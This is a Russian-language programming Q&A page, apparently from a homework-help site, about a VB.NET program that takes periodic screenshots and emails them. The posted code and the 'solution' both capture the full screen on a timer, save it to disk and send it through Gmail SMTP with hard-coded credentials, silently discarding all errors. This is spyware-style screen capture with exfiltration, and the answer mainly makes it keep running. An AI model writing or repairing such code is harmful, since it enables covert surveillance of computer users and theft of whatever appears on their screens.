Снимок экрана - Отправка скриншота на почту - Visual Basic .NET

Узнай цену своей работы

Формулировка задачи:

Листинг программы
  1. Imports System.Net.Mail
  2.  
  3. Public Class Vault
  4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5. Timer1.Start()
  6. End Sub
  7. #Region "screenshot"
  8. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  9. Try
  10. Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  11. Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  12. Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
  13. g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
  14. screenGrab.Save("C:\xxx.jpeg")
  15.  
  16. Dim SmtpServer As New SmtpClient
  17. SmtpServer.EnableSsl = True
  18. Dim mail As New MailMessage
  19. SmtpServer.Credentials = New Net.NetworkCredential("removed@mail.ru", "xxxxxxx")
  20. SmtpServer.Port = 587
  21. SmtpServer.Host = "smtp.gmail.com"
  22. mail = New MailMessage
  23. mail.From = New MailAddress("removed@mail.ru")
  24. mail.To.Add("removed@mail.ru")
  25. mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
  26. mail.Body = "Pics"
  27. Dim attachment As System.Net.Mail.Attachment
  28. attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
  29. mail.Attachments.Add(attachment)
  30. SmtpServer.Send(mail)
  31. Catch ex As Exception
  32. End Try
  33. End Sub
  34. #End Region
  35. End Class
Отправка скриншота работает некорректно, по таймеру отправляет 1 -2 раза и на этом прерывается. Что не так в коде?

Решение задачи: «Снимок экрана - Отправка скриншота на почту»

textual
Листинг программы
  1. Imports System.Net.Mail
  2.  
  3.  
  4. Public Class Vault
  5.  
  6.             Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  7.             Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  8.             Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
  9.             Dim SmtpServer As New SmtpClient
  10.             Dim mail As New MailMessage
  11.             Dim attachment As System.Net.Mail.Attachment
  12.  
  13.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  14.         Timer1.Start()
  15.     End Sub
  16.  
  17. #Region "screenshot"
  18.  
  19.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  20.         Try
  21.  
  22.             g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
  23.             screenGrab.Save("C:\xxx.jpeg")
  24.  
  25.  
  26.  
  27.  
  28.             SmtpServer.EnableSsl = True
  29.             SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
  30.             SmtpServer.Port = 587
  31.             SmtpServer.Host = "smtp.gmail.com"
  32.             mail = New MailMessage
  33.             mail.From = New MailAddress("xxxxxxx@gmail.com")
  34.             mail.To.Add("xxxxxxx@gmail.com")
  35.             mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
  36.             mail.Body = "Pics"
  37.             attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
  38.             mail.Attachments.Add(attachment)
  39.             SmtpServer.Send(mail)
  40.  
  41.         Catch ex As Exception
  42.         End Try
  43.  
  44.     End Sub
  45. #End Region
  46.  
  47. End Class

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

6   голосов , оценка 4 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут
Похожие ответы